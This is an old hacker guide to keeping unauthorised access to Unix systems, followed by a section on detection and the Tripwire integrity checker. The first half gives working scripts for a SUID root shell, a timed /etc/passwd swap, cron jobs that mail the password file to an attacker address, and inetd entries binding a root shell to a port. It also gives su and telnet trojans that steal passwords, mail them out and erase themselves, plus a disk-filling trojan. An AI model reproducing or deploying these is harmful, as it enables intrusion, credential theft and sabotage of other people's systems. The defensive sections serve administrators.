A guide to backdooring Unix systems

by airwalk
j0ker@rocketmail.com
http://interscape.net-security.org

Introduction:
----------*

when a hacker intrudes a system, he or she is confronted with a difficult task -- keeping access to that very same system. the intruder must know all weaknesses in order to exploit them and to gain constant access to the server. this is not an easy task. a backdoor, or a trojan, is a program which gives access, permissions and/or privileges to hackers so they can keep 'owning' the targeted system. this, however, cannot be generalized; backdoors do many different things, but their main goal is to keep giving access to restricted areas. there is a difference between a backdoor (also called a trapdoor) and a trojan (also called a trojan horse): a backdoor is placed after a hacker has hacked his way into the system (it is only used to give further access to the intruder), while a trojan is a program which will give the hacker access independant to whether he/she already has access or not. basically, a trojan is used when a potential intruder has no more ideas on how to get into the system so he writes or uses an already written program to fool the administrator, or any other user, on the target system into giving him access and some other things (like allowing uploading/ downloading of files, etc...).
in this article i will write about how one places and makes backdoors and simple trojans in the Unix system environment. i will present some techniques which might be of interest to administrators as well as to people on the other side of the playground. having and keeping remote access to the system even long after the actual penetration is one of the biggest challenges in security of the Unix system.

Cases throughout the history:
----------*

'Historia est magistra vitae' (History is the teacher of life). throughout the history there have been many examples of hidden trojan horse and backdoor programs placed in free and even in commercial software. here are some important cases:

the Crackerjack case: a trojan horse was placed inside the code of this well-known Unix password cracker. other than just cracking (brute-forcing actually) Unix passwords, the program also secretly reported the cracked passwords to the person who made the trojan horse. of course, the author immediately changed the code and made a newer version.

the SATAN case: an early version of SATAN (1.0) had malicious code in one of the binaries shipped in the package -- fping. whoever modified the code had physical access to the machines holding the code (at Temple University). he/she altered the main() function in fping so that the program would also add a user entry to the /etc/passwd file (username: 'suser'). using that very same username, the programmer got remote access to machines that had SATAN installed.

the quota trojan case: in 1996 a trojanized version of quota (a Unix tool for checking disk qoutas for users) was distributed on the Internet. the trojan copied passwords and NIS maps and e-mailed them to the author of the code.

the ircII trojan case: back in 1994, ircII (Internet Relay Chat client) version 2.2.9 also had a trojan horse. basically, the trojan gave access to systems to the author of the code.

the TCP Wrappers case: there was a trojan version of a popular Unix tool TCP Wrappers on the Internet. it sent an e-mail to the authors of the trojan upon compilation with the information which gave them root access to all hosts that had TCP Wrappers installed.

the infamous Slackware backdoor: in Linux Slackware releases 3.2 and earlier, there was a package called sample_users.tgz. this file would install three users ('satan','gonzo' and 'snake') without passwords. this gave free access to hackers.

of course, these aren't all examples of backdoors and trojan horses on Unix systems -- these are just some of them (there

have been many more, for example the wu-ftpd trojan horse). my point is, trojan horses are a big threat because they can be everywhere and they can do virtually anything.

Backdoor techniques:
---------*

once you penetrate a system, it is hard to get the root account again, if the admin found out that you hacked his/her system. you would then have to look out for new security holes, or you'd have to social engineer/trojan horse your way into the system. a technique used to avoid this, hence giving you root access again, is called backdooring.
there is a wide variety of backdoor techniques, going from simple ones like adding an entry to the /etc/passwd file, to more complex ones like opening a service daemon. the most used techniques by hackers are: the rhosts backdoor (works by adding a string of '+ +' to the users' rhosts file, so that anyone from anywhere can rlogin or rsh his way into the system), the login backdoor (a modified version of the Unix login program -- if an intruder types in a special backdoor password, regardless to what username he used, he would immidiately get a shell for that specific user), telnet daemon backdoor (a modified version of the in.telnetd file, which allows access to hackers if they have a specific terminal type (since the daemon checks for this in the process of initialization), like a special string or password), services backdoor (new network serives, or old ones which are not being used, are replaced by backdoor services; usually a binded shell to a TCP port, which, when given a special password, gives access to hackers (actually, a modified version of inetd.conf)), network traffic backdoors (shells which very directly giving output to a specified port, usually TCP, UDP and ICMP (since most firewalls allow ping packets to pass through the network, this is a good idea for a message-transfer backdoor)), library backdoors (backdoors placed in library files (something like the DLL files on MS Windows machines) which would give access to intruders, such as modifying the crypt() routine to pass specific passwords), cronjob backdoors (using the cron (a program which runs programs at a specific time and date), intruders could place shell backdoors to run at a specific time), /etc/passwd file backdoors (a simple backdoor -- placing a new user into the Unix /etc/passwd file with the root user ID and with no password), the SUID shell backdoor (a copy of the root shell which gives root access to any user who runs it -- this has a limit since you must have a non-root account on the system), etc... as you can see, there are quite a lot of backdoor techniques. choosing which are the best and why depends on the system you want to exploit. in this section i will go through some techniques for placing and using backdoors in the Unix environment.

* the SUID shell backdoor: i recommend the use of this technique only if you have constant non-root access to the system (ie. through another user). it is a copy of the root shell with the SUID flag bit set. what this means is that it will run with root permissions, and will thus give you the root shell (#). here is a simple shell script which will do the job for you, just remember to pick a safe place for the backdoor:

```
--
#! /bin/sh

cp /bin/sh /tmp/.root_shell
chmod 4755 /tmp/.root_shell # or 'chmod a+s /tmp/.root_shell'
--
```

of course, to be able to run this script (to install the backdoor) you must be root. the shell will the be copied to the /tmp directory under the name '.root_shell'. i recommend that you move it somewhere else if the system cleans the temporary directory on a regular basis. you could rename the backdoor to '...', which would confuse an ordinary user. to run the backdoor, simply type in './.root_shell' from your prompt, and you will become root (to check, make a 'whoami' and a 'uid').

* the /etc/passwd backdoor: this involves adding a user to the /etc/passwd file with root ID (0) and without a password. you can do this manually. just remember to add all seven fields, and that your login and GECOS information looks normally. when you telnet or ftp to the machine (hence, when inetd calls the login program) you simply type in your login and password (none), and you are immidiately dumped to the root shell. since this is a well known technique, i recommend that you use a similar backdoor. copy the original /etc/passwd file to another place on the system, hide it, and add your backdoor user. then make a back-up of the original /etc/passwd file, repace it with your backdoored copy and get access. you can also make a time limit after which you will restore the original passwd file.

```
--
#! /bin/sh

cp /etc/passwd /etc/.temppass
cp /tmp/.backdoor_passwd /etc/passwd
sleep 60
```

```
mv /etc/.temppass /etc/passwd
--
```

this technique was introduced by daemon9 and is quite effective. it will put the backdoor password file instead of the original one for one minute (of course, you can change the limit time using the 'sleep' command) and will then restore the changes. however, it relies on one important factor -- the cron. there should be an entry in the /var/spool/crontab/root file:

```
--
14 0 * * * /bin/usr/backdoor_password
--
```

the backdoor_password is your shell script (above). the script will run every night at 00:15. this means that you have access to your machine at that time. the other fields are left with an asterisk (*) so that the script runs on a daily basis. another cron-like backdoor could send you the /etc/passwd file every day or week. this would give you information about new accounts, services, etc... and give you a status on how your backdoor account (if you created one) is doing. a simple example (using the same cron entry as the example above) is here:

```
--
# !/bin/sh

cp /etc/passwd /etc/.temppass
cat /etc/.temppass | mail hacker@address.com
rm /etc/.temppass
--
```

* the inet daemon/services backdoor: this is another widely used backdoor technique. basically, there are two techniques here -- one involves exploiting a service which has not been used for a while, and the other involves making your own new service. but, before i continue, i should explain the construction of the /etc/services and /etc/inetd.conf files. first, here is a sample /etc/services file from a Digital Unix 4.0 system (did is just a partial paste, since that very same system had a lot of active services):

```
--
echo 7/tcp
echo 7/udp
discard 9/tcp
discard 9/udp
systat 11/udp
daytime 13/tcp # Day-time Daemon TCP
daytime 13/udp # Day-time Daemon UDP
netstat 15/tcp
quote 17/udp
chargen 19/tcp
chargen 19/udp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp # Simple Mail Transfer Protocol Daemon
time 37/tcp
time 37/udp
name 42/tcp
whois 43/tcp
auditd 48/tcp # Digital Audit Daemon
--
```

the first field here indicates the name of the service (remember that we're talking about network services), the second one indicates the port which the specific service uses and the protocol type (TCP or UDP) and the last field is just a commentary field.

note: to programatically find out which service belongs to each port you can use the getservicebyname() system call.

now that you know how the /etc/services looks like, we can proceed the the /etc/inetd.conf (the Internet Daemon) file from the same host (Digital Unix 4.0, again just a partial paste):

```
--
ftp stream tcp nowait root /usr/local/tcpw/tcpd ftpd -dl
telnet stream tcp nowait root /usr/local/tcpw/tcpd telnetd
shell stream tcp nowait root /usr/local/tcpw/tcpd rshd
login stream tcp nowait root /usr/local/tcpw/tcpd rlogind
exec stream tcp nowait root /usr/local/tcpw/tcpd rexecd
finger stream tcp nowait root /usr/local/tcpw/tcpd fingerd
tftp dgram udp wait root /usr/sbin/tftpd tftpd /tmp
comsat dgram udp wait root /usr/sbin/comsat comsat
talk dgram udp wait root /usr/sbin/talkd talkd
--
```

the first row indicates the name of the daemon (from the /etc/services file). this tells the inet daemon what to look for in the services file to see what port to use with that network service. the next field indicates the type of socket connection (stream type or datagram type). next we have the protocol field (again, TCP (for stream connections or UDP for datagram connections), then the information about delaying the connection (if wait is specified then the server will process all subsequent connections received on the socket, and if nowait is specified, then the system will fork() and exec() a new server process for each additional datagram or connection request. usually, UPD is set to wait, and TCP to nowait although there are exceptions), then what user will execute the daemon (usually root) and then the location of the program which will keep the connection. finally, the last field indicates the actual command which has to be executed when the specific service needs to be used (usually a syntax with parameters if required).
as i said, there are two methods for this backdoor -- backdooring a service which isn't used often, or making your own new service. first, we will use a service which already exists. go to the /etc/services file and pick a service that you think isn't used that much (don't use telnet, ftp, smtp, etc...). now go to the inetd.conf file and fill in the correct information for that service (or change the information if it already exists in the file): first the name of the service, then stream, then the protocol (TCP), then nowait, then the user which will execute the program (root of course), then the location of the backdoor (which is actually the shell -- /bin/sh) and finally the program with the corresponding parameter -- 'sh -i'. here is an example:

```
--
discard stream tcp nowait root /bin/sh sh -i
--
```

(don't use discard since it is used often and is therefore a bad example) now, for these changes to take effect, you have to restart the Internet daemon (using the command 'killall -HUP inetd' -- of course, for all of this you have to be root). to try this out, since the discard port is 9 (you can get that from /etc/inetd.conf), you can telnet to port 9 of your victim's host and you will get a root (#) shell. the second method is even better since you're making a new service (and not using an existing one -- therefore eliminating the risk of being caught). what you need to do is find a place between two port in the /etc/services file (like quote is 17 and chargen is 19, so you can place a backdoor with the port number 18 in between). next name the service and put its protocol type TCP. a partial paste of the modified /etc/services file would then look like this:

```
--
quote 17/udp
backdoor 18/tcp
chargen 19/tcp
--
```

now go to the /etc/inetd.conf file and repeat the process as for method 1 (the entry for the new service backdoor would look like this):

```
--
backdoor stream tcp nowait root /bin/sh sh -i
--
```

and again you have to restart the inetd in order for this to work and to test it out telnet to port 18 and you will get a root shell.

* a modified version of the login program: this is another backdoor which is commonly used in the Unix system environment. since Unix is open-source, a lot of programs on the systems have their source somewhere. hackers made a modified version of the login program which would give them the root shell if they typed in the specified password and replaced it with the original program. such an example is provided with this article (see the Appendix section).

these were the basic backdoors and the most commonly used ones. i recommend using a few of them at the same time -- placing root SUIDs on a couple of places on the system, enabling two or three services and putting a new backdoored user in the /etc/passwd file. this will confuse the admin, if he/she finds one of them, into thinking that the system is secure after removing the backdoor (however, you still have a few left).

Trojan horse techniques:
----------*

unlike backdoors, trojan horses are used to get initial access to systems. basically, the use goes a long way back to the time of Troy when the Greeks used a big wooden horse which, presented as a gift, was used to get inside the town. what makes trojan horses work is naive users. making them depends only on your imagination and only knowledge is the limit. one of the oldest type of trojan horses on the Unix system was a modified version of the login program. when the users gave their information (login and password) the program would let them in and at the same time send an e-mail containing that very same information to the hacker. i will not go into detail with trojan horses as their use can be huge. what i will do is give you a couple of examples of how they can be used to get crucial information from users.

* the su trojan: this type of trojan horse is used a lot for getting the root's password. here is an example shell script which will do this for you:

```
--
#! /bin/sh

stty -echo
echo -n "Password:"
read PASSWD
stty echo
echo
echo "Sorry"
echo "$1 / $2: $PASSWD" | mail hacker@some.host

rm $0
kill -9 $PPID
--
```

for this to work, you have to name it 'su' and place it into a user's home directory where that user will execute it. however, you must also change that user's PATH variable. this must be done in order for the system to execute the trojan horse. there are a couple of ways of doing this: (1) you can change the variable in the user's .profile (.bash_profile) or .login file, or (2) you can customize the PATH environment by doing this (as an example i'm using the root account for the trojan horse):

```
--
# PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin:
/usr/sbin:/usr/X11R6/bin
# export PATH
--
```

notice the dot (.) before the /usr/bin directory. this tells the system to look in the user's current directory for the specified command/program (note: on some systems you have to give the trojan horse shell script execute permissions if the system doesn't do it automatically).
after the user runs this script it will prompt him/her for a password. it will then say that they typed a wrong password, but will send an e-mail to hacker@some.host along with that password and will then delete itself and remove itself from the process list.

* the telnet trojan: this is used if you want to get more hosts and their passwords. since most Unix users use their shell accounts to telnet to other systems, this might be a suitable idea to fish for more accounts. here is an example script:

```
--
#! /bin/sh

echo "Trying $1..."
sleep 1
echo "Connected to $1."
echo "Escape character is '^]'."
echo " "
echo -n "$1 on Linux 2.0.34, "; date +%x
echo " "
echo -n "login: "
read ID
echo -n "Password: "
read PW
sleep 1
echo "Login incorrect"
echo " "
echo -n "login: "
read ID2
echo -n "Password: "
read PW2
sleep 1
echo "Login incorrect"
echo " "
echo -n "login: "
read ID3
echo -n "Password: "
read PW3
echo "Host $1, TRY 1: user $ID and password $PW, TRY 2: user $ID2 and password $PW2,
TRY 3: user $ID3 and password $PW3." | mail hacker@some.host
sleep 1
echo "Login incorrect"
echo "Connection closed by foreign host."

rm $0
kill -9 $PPID
--
```

this acts as a real telnet program since it loops three times and then dumps you back to your shell. of course, this relies on careless users because the program only guesses that the machine they're telneting to is a Linux 2.0.34 (therefore, this technique isn't good against smart users).
the good thing here is that the program e-mails all three tries of logging in (just in case that the user really made a mistake when typing in the password). again, the program deletes itself and for it to work you must modify the PATH variable so that is first loads programs from the current user's directory.

* using existing programs for trojan horses: this is a very common method. what you must do is put a simple line somewhere in the C source code of the desired program (if you have the source code) which will, if the program is executed by the root account, do a specific action:

```
--
if ( !strcmp(getlogin(),"root") ) system("chmod 666 /etc/passwd");
--
```

so, you put this code into a program, recompile it and every time the root account loads this program, it will do a 'chmod 666 /etc/passwd' -- give write permissions to the /etc/passwd file to all users. you can change this to whatever you wish, for example you can create a root SUID shell using the system() call or you can reboot the system, etc...

* nasty trojan horses: some people like to use trojan horses to further demolish the system. some do it for fun, some for profit. one of the favourite 'nasty' trojans are used to fill up system space which will effectively slow down most Unix servers. here is a Perl example of such a trojan:

```
--
#! /usr/local/bin/perl

$SIZE=shift(@ARGV);
$LIST="";

open (FILE, "> megfile");
{
for ($CNT = 0; $CNT < 100000; $CNT++ )
{ print FILE "**********"; }
}
close(FILE);

for ($CNT = 0; $CNT < $SIZE; $CNT++ )
{ $LIST="$LIST megfile" }

`cat $LIST > ${SIZE}_mBytes`;
echo "Unknown error."

rm $0
kill -9 $PPID
--
```

for this to work, you must pass an argument: file name. therefore, you can disguise this trojan horse as a program which needs a file name argument to be run (such as copy, rename or find, etc...). it will fill the specified file with lots of asterisk symbols (*) -- up to 100 mega bytes. then it will name the file with the pattern: name_mBytes. i don't find these kinds of trojans useful. however, some people may find them interesting and useful in situations such as revenge, etc... a solution to this (for the system administrators) is to set up a cronjob script which would monitor disk space every couple of hours and then send an urgent e-mail to the root account if the specified size of the hard drive was used up (a simple check-up for disk drive free space: 'df -k | awk '{print $6"\t"$4}'). here is such an example script:

```
--
#! /bin/sh

df -kl | grep -iv filesystem | awk '{print $6" "$4}' | while read LINE; do
FSPC=`echo $LINE |awk '{print $2}'`
if [ $FSPC -lt 100000 ]; then
echo "`date` - ${LINE} space left on `hostname`" >> /var/log/df.log
fi
done
--
```

this script puts a log into the /var/log/df.log file when a filesystem drops below 100 MB (this can easily be changed so it e-mails the alert to the root account). when placed to the crontab this could be a life saver for system administrators, especially in this situation of a space-filling trojan horse program.

trojan horses have many different uses and it all depends on what your goal is. some find these programs useful for snarfing passwords, and other valuable information, while some use them for harassing the system.

Detection programs:
----------*

let's face it. backdoors and trojan horses aren't always detected. in fact, a small amount of them are found. the users are the biggest problem. most users on various Unix-like servers are begginers on this field and can, thus, be fooled by malicious programs. as i said, a very common backdoor is a SUID copy of the root shell. this is not a full-proof hacker technique and can be discovered quickly, using the 'find' command:

```
--
# find / -type f \( -perm -4000 -o -perm -2000 \) -ls
--
```

this tells 'find' to list all normal files (the 'f' parameter) with the SUID (4000) or SGID (2000) bits set. this works on a pattern of excluding files (since SUID programs have an 's' instead of an 'x' in the root field of their permissions). if you have an NFS-mounted filesystem, you can exclude it from the search by the following command:

```
--
# find / -local -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld '{}' \;
--
```

this solves only one possible backdoor. there are a lot more, and protection is weak here. the next example is a simple checklist mechanism:

```
--
#! /bin/sh

cat /usr/adm/file_list | xargs ls -ild > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
```

the file /usr/adm/file_list contains a list of files to monitor. the -i option adds the inode number in the listing. the -d option includes directory properties, rather than contents (if the entry is a directory).
a better version of the above (since it does not give us a lot of information) uses the powerful find command:

```
--
#! /bin/sh

find `cat /usr/adm/file_list` -ls > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
```

this will also disclose if files have been added/deleted to any of the specified directories (from the /user/adm/file_list). this script can furthermore be exanded by the use of an MD5 checksum generating program (for this example, we will call it 'md5'):

```
--
#! /bin/sh

find `cat /usr/adm/file_list` -ls -type f -exec md5 {}\; > /tmp/now
diff -b /usr/adm/save_list /tmp/now
--
```

since another common backdoor is placing a new user with the UID 0 into the /etc/passwd file, a recommended action is to check that file for such users (which have the UID of 0, have less then seven fields or do not have a password):

```
-- # cat /etc/passwd | awk -F: 'NF != 7 || $3 == 0 || $2 == "" { print $1 " " $2 " " $3}'
--
```

this will bring up all usernames which correspond to the above pattern. these scripts are quite primitive, and are not so reliable. a perfect system cannot exist. however, detection programs exist and they are helpful. such a program is Tripwire. in this chapter i will explain what it does and how to use it to make the most out of filesystem monitoring. Tripwire, created by Eugene Spafford and Gene Kim at Purdue University in 1992, is an integrity checking tool designed to monitor the Unix filesystem in order to find any unauthorized modification. it is particularly useful for finding viruses, worms, logic bombs, backdoor and trojan horses which intruders might leave for future use. since most Unix distributions have thousands of files in their basic installations, there isn't a practical way to check for all files after an intrusion. reinstalling the system isn't always a good idea, especially if you don't make back-ups (which i strongly suggest to any Unix system administrator). Tripwire works by taking 'fingerprints' of files and storing them in a database. after the intrusion, when run, it will check and compare the files' current fingerprints against the original ones from the database. all files which have been added, deleted and/or modified are displayed to the admin. Tripwire is good because it is fast. it uses a wide variety of signature algorithms or one-way hash functions. such are: RSA Data Security Inc.'s, MD5 (Message Digest 5), MD4 and MD2,

Snefru (Xerox Secure Hash Function), SHA (Secure Hash Algorithm), Haval code and two conventional CRC (the Cyclic Redundancy Check -- 32-bit and 16-bit).
the default setup will record two signatures for each database entry (each file). for a hacker, this is very difficult to cover. the authors tested over 250,000 files on five computers for duplicate signatures. while the 16-bit CRC produced approximately 25,000 collisions, 128-bit MD4, MD5 and Snefru produced none (all of this can be found in a great document concerning the development of Tripwire: "The Design and Implementation of Tripwire" by Eugene H. Spafford and Gene H. Kim).
Tripwire is highly portable -- there is a version for almost every Unix distribution. the database is encoded as ASCII text which makes is easy to print and to manually edit with different text-processing programs. Tripwire is very fast, accurate and can work in a network environment (it can be set up to cover thousands of machines even from a basic installation). when first run, Tripwire crates the baseline database of signatures. each time after that, it uses its config file (tw.config) to generate a new signature database. the program then compares the previous database with the new one and gives you a report. here is a graphical demonstration of how it works:

--

tw.config -- generate --> new database
|
baseline |
database ----------> compare
|
apply options
|
report
--
Tripwire has four modes of operation:

* Database Generation: this mode produced the baseline database (for future comparing). * Integrity Checking: this is the main mode (the files are being checked against the baseline database).
* Database Update and Interactive Update: these two modes have a number of options which can be helpful in order to prevent reporting of some files which are constantly changing. an example here would be the /etc/passwd file. if you're running a big system with lots of users, which are being added every day or week, then you might want to exclude this file from signature checking, since it will always be displayed as changed or modified. however, attackers might leave a simple user backdoor in your /etc/passwd file, so i suggest that you make a shell script which will make a back-up of your password file upon the addition of new users (so it uses the command 'adduser' and makes a copy of the /etc/passwd file (or any other) with the extension being the date of the back-up).

the tw.config file is a good resource which will give exact information on which files are being processed and which flags/ attributes they have. each entry in this file has its selection mask. the next table shows Tripwire's selection masks:

Flag: Description:
-----*----------*
- ignore the following attribute
+ include the following attribute
p permission bits
i inode number
n number of links
u owner's user ID
g owner's group ID
s file size
a access timestamp
m modification timestamp
c inode creation/modification timestamp

note: an inode is a structure in which Unix stores administrative information about a file (item location, item's type (file/ directory/link, etc...), item's size in bytes, ctime (the time the file's inode was last modified), mtime (the time the file's contents were last modified, atime (the time the file was last accessed (for read(), exec(), etc...), reference count (the number of names the file has), UID, GID and the file's mode bits (permission bits)).

since these flags are complex, the designers made a few templates which cover most things an average administrator needs:

Letter: Template purpose: Template selection masks:
-------*------------------*--------------------------*
R read-only files +pinugsm12-ac3456789
L log files +pinug-sacm123456789
N ignore nothing +pinugsamc123456789
E ignore everything -pinugsamc123456789
> growing log files +pinug>samc123456789

note: the tamplates can also be mixed with selection masks (such an example would be R-2, which indicates a default check (read-only files) but without the use of Snefru).

Tripwire uses the R template by default. an example would be: if the entry for /home/bjames looks like this (in the tw.config file):

--
/home/bjames R
--

then the selection masks for that directory are actually:

--
/home/bjames +pinugsm12-ac3456789
--

this simplifies work. in the above example, Tripwire will report any changes in mode bits, inode number, reference count, UID, GID, file size, modification timestamp and the MD5 and Snefru signatures (1 and 2). it will ignore/exclude changes to the access and inode timestamps and the use of all other signatures. this brings us to another table, the Tripwire signature numbers (the numbers upon which Tripwire compares the entries in the baseline database (they are also stored in the tw.config file)):

Number: Signature:
-------*------------------------*

0 null signature
1 MD5
2 Snefru
3 CRC (32-bit)
4 CRC (16-bit)
5 MD4
6 MD2
7 SHA
8 Haval (128-bit)
9 reserved for future use

MD5 and Snefru are used the most. there are two more operators which make filesystem monitoring more configurable. if an exclamation mark ('!') is placed before an entry in the tw.config file, if the entry is a file it is ignored. the same applies if the entry is a directory -- all the files in it are ignored. if a '=' sign is placed before an entry, if the entry is a file Tripwire does nothing. if the entry is a directory, its contents won't be monitored but the directory itself will.
Tripwire is not hard to install, so i will not get into that. what i will do is give you a couple of tips on how to make monitoring easier. using the command 'tripwire -initialize', you run the Database Generation mode. this will create the baseline database in a default directory './databases', under the file tw.db_yourHostname ('yourHostname' is replaced with your machines' hostname). to run Tripwire in the Interactive Mode, use the command 'tripwire -interactive'. this mode prompts you to update the database each time Tripwire finds a file or directory that has been added, deleted or changed. to use the Database Update mode (this provides a fast way of updating database entries on the command-line), run the command including the '-update' parameter and what file/directory you wish to update. for example:

```
--
# tripwire -update /home/bjames/my.file
# tripwire -update /home/bjames
--
```

the first command updates on the 'my.file' in the 'bjames' home directory. the second one updates the whole directory with all the files in it.
to make Tripwire more efficient, i recommend that you run it once a day, using cron. you can even make Tripwire into mailing you the report (something like 'tripwire | /bin/mail root' command). to make checking faster, you can exclude specific signatures. for example, 'tripwire -i 2' uses only the Snefru signature (and not the MD5 like default). Tripwire won't check mounter partitions, so count on that if you want to check them too. if you want to see which files Tripwire is working on, use the 'tripwire -v' command.

* a sample filesystem check:

```
--
Tripwire(tm) Intrusion Detection Software v1.3

This release is for single CPU, single-site, end-use
purposes. For commerical applications or product
information, please visit the Visual Computing Corporation
web site at http://www.visualcomputing.com/tripwire, or
call us at (503) 223-0280.
Tripwire(tm) Copyright 1992-98 by the Purdue Research
Foundation of Purdue University, and distributed by Visual
Computing Corporation under exclusive license arrangements.

### Phase 1: Reading configuration file
### Phase 2: Generating file list
### Phase 3: Creating file information database
### Phase 4: Searching for inconsistencies
###
### Total files scanned: 37024
### Files added: 7
### Files deleted: 8
### Files changed: 22
### ### Total file violations: 37
--
```

one more thing -- be sure to secure Tripwire's databases. these are hacker targets and are very valuable to you as the system administrator. Tripwire is a very powerful tool, use it correctly and you will make the most out of backdoors and trojan horse checking. there are a couple of Tripwire clones on the Internet. such an example is Slipwire, coded in Perl. other, similar programs are ATP (the Anti-Tampering Program), Hobgoblin (by Farmer and Spafford), etc...

Appendix:
---------*

i have included the following files along with this article: slipwire.pl (the Slipwire perl script for filesystem integrity checking) and trojans_c.zip (a collection of some useful Unix trojans and backdoors written in C).

slipwire.pl - http://net-security.org/default/08/slipwire.pl
trojans_c.zip - http://net-security.org/default/08/trojans_c.zip

Conclusion:
----------*

placing backdoors is the key to having constant access to a system. this is a primary mission for each hacker if he/she wants to keep the root account. on the other hand, system administrators should be careful and should, thus, run filesystem integrity checkers, such as Tripwire, on a daily basis -- this is the only powerful tool against backdoors and trojan horses.

Disclaimer: